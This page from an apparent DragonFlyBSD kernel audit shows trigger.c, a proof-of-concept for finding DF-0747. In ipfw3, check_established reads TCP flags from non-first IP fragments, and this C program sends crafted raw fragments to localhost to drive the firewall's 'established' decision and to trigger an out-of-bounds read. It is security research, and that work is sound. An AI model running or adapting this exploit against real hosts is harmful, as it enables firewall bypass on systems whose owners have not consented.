โฌข DragonFlyBSD Kernel Audit
DF-0747 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0747 โ€” check_established reads TCP th_flags from non-first IP fragments
 * without pullup, causing an OOB read / firewall misclassification.
 *
 * Bug (sys/net/ipfw3_layer4/ip_fw3_layer4.c:173-191):
 *   check_established() does:
 *     struct ip *ip = mtod(m, struct ip *);
 *     if (fid->proto == IPPROTO_TCP)
 *         if ((L3HDR(struct tcphdr, ip)->th_flags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN)
 *             match;
 *
 *   L3HDR(struct tcphdr, ip) == (tcphdr *)((uint32_t *)ip + ip->ip_hl)
 *   โ†’ dereferences ip + ip_hl*4 + offsetof(tcphdr, th_flags) == ip + 20 + 13 == ip + 33.
 *
 *   The dispatcher ip_fw3_chk() (ip_fw3.c:384-409) only calls
 *   PULLUP_TO(hlen + sizeof(tcphdr)) when offset==0 (first/un-fragmented).
 *   Non-first fragments (offset>0) skip the pullup, so the TCP header
 *   pointer is stale: for fragments the payload at ip+20 is *fragment
 *   data*, not a TCP header.  Reading byte ip+33 thus either reads
 *   attacker-controlled fragment data (if payload >= 14 bytes) or reads
 *   5+ bytes past valid m_len into the mbuf backing store (min-size 8B
 *   fragment โ†’ 28-byte packet, read at offset 33).
 *
 *   pfil_run_hooks runs BEFORE ip_reass (ip_input.c:631 vs :858), so each
 *   fragment individually reaches check_established.
 *
 * Impact: the firewall's established-rule decision on fragments is driven
 * by attacker-controlled or stale bytes โ€” a deliberate bypass / unpredictable
 * classification.  No panic (read stays within mbuf backing store), no
 * userspace info leak (result used internally).
 *
 * FreeBSD ipfw2 uses the cached f_id.flags (populated only for non-fragmented
 * TCP at the same offset==0 point), avoiding this bug.
 *
 * This PoC is run as ROOT (test harness). The actual vulnerability is
 * triggered by any packet reaching the host's ip_input โ€” local or remote.
 * Precondition: ipfw3 loaded with a check_established rule (set up by
 * setup.sh).
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define SRC_STR "127.0.0.1"
#define DST_STR "127.0.0.1"

/*
 * Send a non-first TCP fragment (IP offset > 0) with a controlled payload.
 * Byte 13 of the IP payload is what check_established reads as th_flags.
 *
 * frag_offset: byte offset into original datagram (must be > 0, multiple of 8)
 * flags_byte:  value placed at payload[13] โ€” read as th_flags
 * payload_len: bytes of IP payload (>= 14 puts flags_byte in-bounds;
 *              8 = minimum, causes OOB read of stale backing-store bytes)
 */
static int
send_frag(int sock, int frag_offset, uint8_t flags_byte,
          int payload_len, struct in_addr *src, struct in_addr *dst)
{
    int pktlen = 20 + payload_len;
    uint8_t *pkt = calloc(1, pktlen);
    struct ip *ip = (struct ip *)pkt;
    struct sockaddr_in to;

    if (!pkt) { perror("calloc"); return -1; }

    /* IP header */
    ip->ip_v   = 4;
    ip->ip_hl  = 5;
    ip->ip_tos = 0;
    ip->ip_len = htons(pktlen);
    ip->ip_id  = htons(0xDF47);
    /* offset in 8-byte units; MF=0 (last fragment, offset>0 => non-first) */
    ip->ip_off = htons(frag_offset / 8);
    ip->ip_ttl = 64;
    ip->ip_p   = IPPROTO_TCP;
    ip->ip_src = *src;
    ip->ip_dst = *dst;
    ip->ip_sum = 0;                /* kernel fills for RAW/IP_HDRINCL */

    /* Payload: byte 13 lands on th_flags position */
    memset(pkt + 20, 0xAA, payload_len);
    if (payload_len > 13)
        pkt[20 + 13] = flags_byte;

    memset(&to, 0, sizeof(to));
    to.sin_family = AF_INET;
    to.sin_addr   = *dst;

    ssize_t n = sendto(sock, pkt, pktlen, 0,
                       (struct sockaddr *)&to, sizeof(to));
    free(pkt);
    if (n < 0) { perror("sendto"); return -1; }
    printf("    sent: offset=%d payload=%d flags_byte=0x%02x (%zd bytes)\n",
           frag_offset, payload_len, flags_byte, n);
    return 0;
}

int
main(int argc, char **argv)
{
    int sock, one = 1;
    struct in_addr src, dst;

    inet_pton(AF_INET, SRC_STR, &src);
    inet_pton(AF_INET, DST_STR, &dst);

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) { perror("socket"); return 2; }
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt"); return 2;
    }

    printf("=== DF-0747: check_established th_flags read on non-first TCP frag ===\n");
    printf("Bug: ip_fw3_layer4.c:184 L3HDR(tcphdr,ip)->th_flags reads ip+33\n");
    printf("     on fragments that have no TCP header (pullup skipped at offset>0)\n\n");

    /*
     * Case 1: large fragment, byte 13 = TH_ACK (0x10).
     *   check_established: (0x10 & (RST|ACK|SYN)) != SYN  โ†’ ACK != SYN โ†’ MATCH
     *   Expected: rule 100 (allow established) hit.
     */
    printf("[Case 1] payload=24, th_flags_byte=TH_ACK(0x10) โ†’ expect MATCH established\n");
    send_frag(sock, 8, TH_ACK, 24, &src, &dst);
    usleep(200000);

    /*
     * Case 2: large fragment, byte 13 = TH_SYN (0x02).
     *   check_established: (0x02 & (RST|ACK|SYN)) == SYN  โ†’ NO MATCH
     *   Expected: rule 100 miss, fall to deny.
     */
    printf("[Case 2] payload=24, th_flags_byte=TH_SYN(0x02) โ†’ expect NOT established\n");
    send_frag(sock, 8, TH_SYN, 24, &src, &dst);
    usleep(200000);

    /*
     * Case 3: minimum-size fragment (8 bytes payload per RFC 791).
     *   IP header 20 + payload 8 = 28 bytes total.  Read at ip+33 = 5-byte
     *   over-read past valid m_len into mbuf backing store (stale heap).
     *   The value read is non-deterministic; firewall decision is garbage-driven.
     */
    printf("[Case 3] min-size payload=8, th_flags read at ip+33 = 5-byte OOB\n");
    send_frag(sock, 8, 0x00, 8, &src, &dst);
    usleep(200000);

    /*
     * Case 4: payload=14 (exactly covers th_flags at byte 13).
     *   Demonstrates the boundary: byte 13 is the last in-bounds byte.
     */
    printf("[Case 4] payload=14, th_flags_byte=TH_ACK(0x10) โ†’ MATCH established\n");
    send_frag(sock, 8, TH_ACK, 14, &src, &dst);
    usleep(200000);

    close(sock);

    printf("\nDONE. Check 'ipfw3 show' rule-hit counters:\n");
    printf("  rule 100 (allow established) should have Case 1 + Case 4 hits\n");
    printf("  rule 200 (deny)             should have Case 2 hit\n");
    printf("  Case 3 hit either rule depending on stale backing-store bytes\n");
    return 0;
}